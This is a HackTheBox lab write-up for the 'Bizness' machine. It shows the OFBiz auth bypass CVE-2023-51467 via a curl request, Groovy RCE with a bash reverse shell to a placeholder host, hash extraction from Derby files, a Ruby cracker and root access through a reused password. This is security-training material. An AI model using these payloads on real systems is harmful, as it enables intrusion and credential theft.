// HackTheBox
Bizness
CVE-2023-51467 (OFBiz auth bypass) + Groovy RCE → cracked OFBiz admin hash, reused as root's password
Recon
Three ports, and the HTTPS service is doing all the interesting work:
| Port | Service |
|---|---|
| 22 | SSH |
| 80 | HTTP (redirects to https) |
| 443 | HTTPS (nginx fronting Apache OFBiz) |
Port 80 just bounces to HTTPS, and 443 is an nginx reverse proxy sitting in front
of Apache OFBiz — a large, sprawling Java ERP suite. OFBiz exposes an
administrative toolset under /webtools/control/...; the main page loads without any
authentication, and only the inner screens behind it ask for a login. A widely
deployed Java app with a public admin surface is the obvious thread to pull: OFBiz has
a well-known 2023 auth-bypass CVE, and confirming the version-appropriate behaviour is
the fastest route in.
Foothold — CVE-2023-51467 (OFBiz auth bypass) + Groovy RCE
1. Bypass authentication
CVE-2023-51467 is a login-check flaw: OFBiz treats an empty username/password pair
combined with the requirePasswordChange=Y flag as a state where the auth check should
be skipped rather than failed. In practice, appending
?USERNAME=&PASSWORD=&requirePasswordChange=Y to any /webtools/control/<screen>
request slips past the login gate. It isn’t tied to one endpoint — it works on every
screen under /webtools/control/.
The quickest confirmation is the ping screen, which should answer PONG only to an
authenticated caller:
$ curl -sk 'https://bizness.htb/webtools/control/ping?USERNAME=&PASSWORD=&requirePasswordChange=Y'
It returns PONG, proving the bypass lands us inside the authenticated web-tools
context.
2. Groovy RCE via ProgramExport
With the auth gate defeated, the useful screen is /webtools/control/ProgramExport, a
developer utility that accepts a groovyProgram POST parameter and evaluates it
server-side as Groovy (a JVM scripting language). Arbitrary Groovy evaluation is
effectively code execution.
The naive way to run a shell command from Groovy is 'cmd'.execute() on a plain
string, but that tokenizes the string on whitespace and mishandles quoting — anything
with spaces, redirects, or pipes breaks. The reliable approach is the list form of
execute(), which passes each list element as a literal argv entry with no reparsing,
so a full bash -c one-liner survives intact:
groovyProgram=throw new Exception(["bash","-c","bash -i >& /dev/tcp/<LHOST>/4444 0>&1"].execute().text)
The throw new Exception(...) wrapper is a verification trick: .text captures the
command’s stdout, and throwing it as an exception surfaces that output directly in the
rendered error page. That makes a one-shot check trivial — running id this way echoes
the result inline — before committing to a blind reverse-shell payload. Here it drops a
shell as the ofbiz service user.
Privilege Escalation — cracked OFBiz admin hash, reused as root’s password
1. Pull the admin hash out of Derby’s data files
OFBiz stores its data in an embedded Apache Derby database. Rather than query the
engine, note that Derby persists each table to flat, plaintext-searchable .dat
segment files on disk — under /opt/ofbiz/runtime/data/derby/ofbiz/seg0/. Grepping
those files for SHA surfaces the UserLogin row for admin directly:
$ grep -r 'SHA' /opt/ofbiz/runtime/data/derby/ofbiz/seg0/
currentPassword="$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I" userLoginId="admin"
2. Reproduce OFBiz’s hash scheme and crack it
The $SHA$d$... format is OFBiz-specific, so guessing the algorithm risks wasting a
crack run. Instead, the exact scheme comes from OFBiz’s own
HashCrypt.getCryptedBytes — the relevant lines (fetched from the
apache/ofbiz-framework source on GitHub) are:
messagedigest.update(salt.getBytes(UTF_8));
messagedigest.update(passwordBytes);
return Base64.encodeBase64URLSafeString(messagedigest.digest());
That is base64url(SHA1(salt + password)), and the $SHA$d$ prefix tells us the salt
is the literal string 'd'. Reimplementing exactly that in Ruby
(exploit/crack_admin.rb) and running it against rockyou.txt finds the password in
under a second — it sits early in the list:
require 'digest'; require 'base64'
target = 'uP0_QaVBpDWFeo8-dRzDqRwXQ2I' # $SHA$d$<hash> from the UserLogin row
File.foreach('rockyou.txt', chomp: true) do |pw|
digest = Base64.urlsafe_encode64(Digest::SHA1.digest('d' + pw), padding: false)
next unless digest == target
puts "found: #{pw}"
break
end
The recovered password is monkeybizness.
3. Reuse the password for root
That password turns out to be root’s local Linux password as well — plain
credential reuse, nothing OFBiz-specific about it. Escalating is then just a matter of
authenticating as root, but there’s a gotcha: su root hangs and fails silently
because the reverse shell has no real TTY, and su insists on a controlling terminal
to read the password securely. sudo reading the password from stdin sidesteps that —
Debian’s sudo doesn’t demand a TTY unless requiretty is set:
$ echo monkeybizness | sudo -S -i
That returns a full root shell.
Key Takeaways
- OFBiz auth bypass is a one-line query-string trick
(
?USERNAME=&PASSWORD=&requirePasswordChange=Y) appended to any/webtools/control/URL — not specific to one endpoint. - Groovy’s
.execute()on a bare string tokenizes on whitespace and can’t express quoting/shell operators; use the list form (["bash","-c","..."].execute()) to run a real one-liner reliably. throw new Exception(cmd.execute().text)is a handy zero-setup way to get command output reflected directly in a Groovy-eval response, before committing to a blind reverse shell.- OFBiz (and likely other Java apps using an embedded Derby DB) store table data in
plain-text-searchable
.datsegment files —grep/stringsacross them can surface credentials directly without needing to actually query the DB engine. surequiring a real TTY is a recurring gotcha on non-pty reverse shells;sudo -Sreading the password from stdin is the reliable fallback once a valid password is in hand.